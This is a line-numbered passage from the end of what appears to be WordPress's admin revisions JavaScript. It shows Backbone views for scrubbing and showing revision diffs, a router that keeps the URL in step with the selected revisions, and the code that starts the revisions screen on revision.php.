1108				attributes.hoveredRevision = movedRevision;
1109			}
1110
1111			this.model.set( attributes );
1112		},
1113
1114		stop: function() {
1115			$( window ).off('mousemove.wp.revisions');
1116			this.model.updateSliderSettings(); // To snap us back to a tick mark.
1117			this.model.set({ scrubbing: false });
1118		}
1119	});
1120
1121	// The diff view.
1122	// This is the view for the current active diff.
1123	revisions.view.Diff = wp.Backbone.View.extend({
1124		className: 'revisions-diff',
1125		template:  wp.template('revisions-diff'),
1126
1127		// Generate the options to be passed to the template.
1128		prepare: function() {
1129			return _.extend({ fields: this.model.fields.toJSON() }, this.options );
1130		}
1131	});
1132
1133	// The revisions router.
1134	// Maintains the URL routes so browser URL matches state.
1135	revisions.Router = Backbone.Router.extend({
1136		initialize: function( options ) {
1137			this.model = options.model;
1138
1139			// Maintain state and history when navigating.
1140			this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) );
1141			this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl );
1142		},
1143
1144		baseUrl: function( url ) {
1145			return this.model.get('baseUrl') + url;
1146		},
1147
1148		updateUrl: function() {
1149			var from = this.model.has('from') ? this.model.get('from').id : 0,
1150				to   = this.model.get('to').id;
1151			if ( this.model.get('compareTwoMode' ) ) {
1152				this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } );
1153			} else {
1154				this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } );
1155			}
1156		},
1157
1158		handleRoute: function( a, b ) {
1159			var compareTwo = _.isUndefined( b );
1160
1161			if ( ! compareTwo ) {
1162				b = this.model.revisions.get( a );
1163				a = this.model.revisions.prev( b );
1164				b = b ? b.id : 0;
1165				a = a ? a.id : 0;
1166			}
1167		}
1168	});
1169
1170	/**
1171	 * Initialize the revisions UI for revision.php.
1172	 */
1173	revisions.init = function() {
1174		var state;
1175
1176		// Bail if the current page is not revision.php.
1177		if ( ! window.adminpage || 'revision-php' !== window.adminpage ) {
1178			return;
1179		}
1180
1181		state = new revisions.model.FrameState({
1182			initialDiffState: {
1183				// wp_localize_script doesn't stringifies ints, so cast them.
1184				to: parseInt( revisions.settings.to, 10 ),
1185				from: parseInt( revisions.settings.from, 10 ),
1186				// wp_localize_script does not allow for top-level booleans so do a comparator here.
1187				compareTwoMode: ( revisions.settings.compareTwoMode === '1' )
1188			},
1189			diffData: revisions.settings.diffData,
1190			baseUrl: revisions.settings.baseUrl,
1191			postId: parseInt( revisions.settings.postId, 10 )
1192		}, {
1193			revisions: new revisions.model.Revisions( revisions.settings.revisionData )
1194		});
1195
1196		revisions.view.frame = new revisions.view.Frame({
1197			model: state
1198		}).render();
1199	};
1200
1201	$( revisions.init );
1202}(jQuery));
1203